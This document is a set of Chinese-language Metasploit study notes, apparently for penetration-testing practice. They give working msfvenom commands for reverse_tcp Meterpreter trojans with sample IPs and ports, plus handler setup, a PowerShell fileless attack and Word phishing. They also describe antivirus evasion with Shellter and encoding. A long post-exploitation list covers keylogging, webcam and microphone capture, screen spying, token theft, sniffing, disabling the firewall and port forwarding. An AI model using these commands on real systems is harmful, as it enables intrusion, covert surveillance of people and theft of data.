MSF笔记
一、Msf信息收集
Exploit-db:漏洞库网站
二、Msf 各种payload
payload生成
msfvenom <参数>:前六个使用频次较高
-
-p:指定payload,一般用 windows/meterpreter/reverse_tcp 比较多
-
-e:指定要用的编码器,一般用 shikata_ga_nai ,其他的都不太好用
-
-i:指定编码次数,后面跟数字,如:-i 8
-
-b:设定规避字符集,指定需要过滤的坏字符,如:'\x0f'、'\x00'
-
-f:指定输出格式,如:-f exe
-
-o:指定生成文件存放位置,也可用>代替
-
-l:列出指定模块的所有可用资源
-
-a:指定payload的目标架构,如x86,x64,x86_64,默认为32位程序
-
-s:设定payload的最大长度,即文件大小
-
--platform:指定payload的目标平台,如windows,linux
其余参数可用 -h 查看
例子:msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f exe -o payload.exe
Mfsvenom -l p
-p:查看payload列表和可调用的木马模块
分为四部分:
-
运行平台/环境
-
调用的模块
-
后渗透模块 meterpreter等等
-
协议;bind:直连 攻击成功会在它的目标机上开个端口 主动连接 但会被防火墙拦截;更多用reverse(反向连接)
建立侦听
-
常规监听
-
msfconsole:进入msf控制台
-
use exploit/multi/handler:使用模块
-
set payload windows/meterpreter/reverse_tcp:设置payload
-
set lhost <ip>:设置要侦听的ip
-
set lport <port>:设置要侦听的端口
-
(options:查看设置详情)
-
run或exploit
-
-
快速监听:默认持续侦听
-
msfconsole:进入msf控制台
-
handler -H <ip> -P <port> -p <payload>
-
-
其他的一些参数:
-
exploit -j -z:后台持续监听,-j是后台任务,-z是持续监听,使用jobs查看和管理
-
sessions -l:查看我的会话
-
sessions -i 1:调用我的1号会话
-
实操(对windows)
Msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.134 lport=1133 -f exe > 3.exe
Msfvenom指定系统、模块、协议 监听的主机ip和端口 生成1.exe的木马文件
Msconsole进行监听
在handler中设置payload
Use exploit/multi/handler
Set lhost 192.168.185.231
Set lport 1133
或者通过一条指令设置
一次性监听:run
持续监听:exploit -z -j
成功连接
Sessions -l 查看会话
Sessions -i 1 调用id=1的会话
然后就可以调用了
-h可以查看帮助
backgrund可以挂起后台
Powershell配合msf无文件攻击
Kali生成ps1文件传到公网ipweb服务器,目标机执行一段命令通过公网IP的web服务器调用ps1文件,将ps1的内容加载到目标机的内存中一旦运行就与kali建立会话
如果调用powershell的话要加在windows/(此处)/ 加x64,因为powershell一般针对与x64,msf里的一些模块也是x64
Word伪装木马攻击
钓鱼
三、Ngroke
使用ngrock穿透内网
防护问题
Powershell配合msf无文件有些防护不会拦截powershell建立会话的,会比shell.exe更实用。
四、免杀
Virustotal.com (查杀网站)
检测可以过掉哪些杀软
红色是没过,绿色是过掉的
Shellter免杀工具
在本机上配置,用msf进行监听
然后将putty.exe放入靶机,双击建立会话,可以过掉360等静态免杀
将payload进行编码来达到免杀
这里是模板,方法一可通过编码器改变编码次数来进行payload生成;方法二通过修改图二中示例的py文件。全改也可,效果更佳
编完之后放到python中处理
生成一个exe文件
运行
Venom免杀工具
五、Msf后渗透模块
Meterpreter 后渗透模块原理:
拿到服务器的shell,然而此服务器站库分离,拿到的是webshell,可利用msf通过web使msf的端口转化为数据库的端口从而连接到数据库。
进程迁移
拿到shell后,先ps列出目标正在运行的进程,然后migrate迁移进程(更稳定地控制session),迁移进程时找不到更高级别权限就迁移到同等级别的权限就行
注意:迁移进程最好手动迁移,这样可以避免使用指令随机迁移导致降权的情况
提权:如system权限,某些情况可以通过禁用服务(sc config "服务名称" start=disable
)来防止杀软对提权进行拦截,但禁止服务意味着系统需要重启,重启会导致session断开,所以在重启前需要做权限维持(留后门)
Meterpreter相关命令
-
进入/退出meterpreter命令:
a. sessions -i <id>:进入该会话
b. sessions -k <id>:杀死会话
c. background/bg:在meterpreter中执行,后台挂起会话
d. exit:在meterpreter中执行,退出并终止会话
-
进入meterpreter后的常用命令:
a. ps :列出目标正在运行的进程
b. migrate <pid> :进程迁移
d. sysinfo :查看目标机系统信息
e. getuid :查看权限
f. getpid :获取当前进程的pid
g. kill <pid> :杀死进程
h. idletime:查看目标机闲置时间
i. shell:进入目标cmd shell
j. reboot/shutdown:重启/关机
k. run:执行一个已有模块, run后按两下tab可以列出已有的脚本
l. load:加载模块,如 load mimikatz
-
键鼠,屏幕,摄像头等命令:
-
uictl [enable/disable] [keyboard/mouse/all] :开启/关闭 键盘/鼠标/所有
i. uictl disable mouse:禁用鼠标
ii. uictl disable keyboard:禁用键盘
b. 键盘记录:
i. keyscan_start:开始捕获
ii. keyscan_dump:存储目标机的键盘记录并列出
iii. keyscan_stop:停止捕获
c. webcam摄像头命令:
i. webcam_list:列出对方的摄像头
ii. webcam_snap:通过摄像头拍照
iii. webcam_stream:开启并监控摄像头
iv. webcam_chat:开启视频聊天
d. 屏幕:
i. run vnc:在对方电脑上安装vnc并监控屏幕(操作屏幕需要改参数)
ii. screenshare:实时观看远程用户的桌面
iii. screenshot:截屏
e. 键盘,鼠标事件:
i. keyboard_send:发送击键,后跟内容,相当于在目标机上写入这些内容
ii. Keyeven:
1) keyevent 91 down:按住ascii码值为91的键,即按住win键
2) keyevent 82 press:按下ascii码值为82的键,即r键
iii. Mouse
f. record_mic:录制一定秒数音频
4. 文件操作:(windows ,linux命令一般都可以)
a. cat:查看文件内容(写linux的斜杠/ ,windows要写双斜杠\\,会转义一个)
b. cd:改变目录
c. ls/dir:列出当前目录
d. pwd:查看当前路径
e. del/rm:删除指定文件
f. download a.txt /root/a.txt:将对方当前目录的a.txt文件下载到我root目录下
g. upload /root/a.txt c:/test/:将root下的a.txt上传到目标c盘的test文件夹下
h. search:
i. -d:指定要搜索的目录
ii. -f:指定要搜索的文件名称, *是通配符
iii. 如: search -d c:\\ -f *.doc 搜索c盘下带doc后缀的文件
5. 其他系统操作的命令:
a. execute:执行,如execute -f notepad.exe
i. -f:执行要运行的命令
ii. -h:显示帮助信息
iii. -H:后台隐藏运行
b. run getgui -e:开启远程桌面,即3389 (拿到一定权限后才行)
tips(小技巧):有时候开不开,可以把开3389的命令保存到批处理bat文件
中,用高权限身份运行批处理
c. 端口转发( 1:36:45)
-
-
当目标的主机在内网中时,我要连接对方的3389 ,可以把对方的3389端口 转发到我本机的另一个端口,然后连接我本机这个端口,就相当于连接了对方的3389
-
portfwd add -l 3333 -r 192.168.80.100 -p 3389:将对方的192.168.80.100的3389转发到我本地的3333端口上,建立隧道
-
rdesktop 127.0.0.1:3333
-
端口转发不需要高权限,正常建立会话的权限就行
6. 其他的一些命令:
a. 先进入shell,然后输入netsh进入:操控网络的一些东西,如操作网卡,开关 防 火墙(natsh adcfirewall set allprofiles state off)
b. run packetrecorder -i 1:查看目标机所有流量
c. run scraper:提取系统信息
d. use sniffer:加载嗅探模块
i. sniffer_interfaces:列出目标主机所有开发的网络接口
ii. sniffer_start 2:获取正在实施嗅探网络接口的统计数据
iii. sniffer_dump 2 /tmp/test.cap:在目标主机上针对特定范围的数据包缓 冲区启 动嗅探
iv. sniffer_stop:停止嗅探
v. 用wireshark进行解包cap文件
e. 盗取令牌: use incognito
i. list_tokens -u:列出目标主机用户的可用令牌, -g是用户组
ii. impersonate_token :假冒令牌,切换身份
f. 持久控制,后面用cs
常见的数据库的连接信息文件名称
Conn、config、db、dbconn、inc、include
端口转发使用物理机连接对方内网中的机器
示例:
-
对方内网当中有一台机器的80端口可以由win7访问,而kali已经控制win7,那么可以通过meterpreter将80转发到kali上的81端口由物理机访问,访问自己相当于访问的对方的80
-
端口扫描到目标机某端口445存在漏洞,可将端口转发到kali,打自己相当于打对方的445